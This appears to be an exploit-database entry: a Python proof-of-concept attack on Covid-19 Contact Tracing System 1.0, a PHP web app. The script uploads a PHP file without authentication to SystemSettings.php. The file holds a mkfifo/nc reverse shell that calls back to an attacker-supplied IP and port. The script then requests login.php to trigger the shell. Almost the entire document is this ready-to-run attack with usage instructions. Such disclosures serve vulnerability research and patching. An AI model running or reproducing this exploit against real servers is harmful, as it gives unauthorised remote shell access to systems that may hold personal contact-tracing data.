Covid-19 Contact Tracing System 1.0 - Remote Code Execution (Unauthenticated)

2021-03-01
ID: 104083
CVE: None
Download vulnerable application: None
# Exploit Title: 
# Date: 28-02-2021
# Exploit Author: Christian Vierschilling
# Vendor Homepage: https://www.sourcecodester.com
# Software Link: https://www.sourcecodester.com/php/14728/covid-19-contact-tracing-system-web-app-qr-code-scanning-using-php-source-code.html
# Version: 1.0
# Tested on: PHP 7.4.14, Linux x64_x86

# --- Description --- #

# The web application allows for an unauthenticated file upload which can result in a Remote Code Execution.

# --- Proof of concept --- #

#!/usr/bin/python3
import random
import sys
import requests
from requests_toolbelt.multipart.encoder import MultipartEncoder

def file_upload(target_ip, attacker_ip, attacker_port):
  random_file_name = str(random.randint(100000, 999999)) + "revshell.php"
  revshell_string = '<?php exec("rm /tmp/f;mkfifo /tmp/f;cat /tmp/f|/bin/sh -i 2>&1|nc {} {} >/tmp/f"); ?>'.format(attacker_ip, attacker_port)
  m = MultipartEncoder(fields={'name': 'PWNED', 'img': (random_file_name, revshell_string, 'application/x-php')})
  print("(+) Uploading php reverse shell..")
  r1 = requests.post('http://{}/cts_qr/classes/SystemSettings.php?f=update_settings'.format(target_ip), data=m, headers={'Content-Type': m.content_type})
  if r1.text == '1':
    print("(+) File upload seems to have been successful!")
    return None
  else:
    print("(-) Oh no, the file upload seems to have failed!")
    exit()

def trigger_shell(target_ip):
  print("(+) Now trying to trigger our shell..")

  #The file we uploaded previously is expected to be an image that the web app tries to embed into the login page.
  #So by requesting the login page, our reverse shell php file will get triggered automatically. We dont even need to calculate the random bits of its new name.
  r2 = requests.get('http://{}/cts_qr/login.php'.format(target_ip))
  return None

def main():
  if len(sys.argv) != 4:
    print('(+) usage: %s <target ip> <attacker ip> <attacker port>' % sys.argv[0])
    print('(+) eg: %s 10.0.0.1 10.13.37.10 4444' % sys.argv[0])
    sys.exit(-1)

  target_ip = sys.argv[1]
  attacker_ip = sys.argv[2]
  attacker_port = sys.argv[3]

  file_upload(target_ip, attacker_ip, attacker_port)
  trigger_shell(target_ip)
  print("\n(+) done!")

if __name__ == "__main__":
  main()
1-4-2 (www02)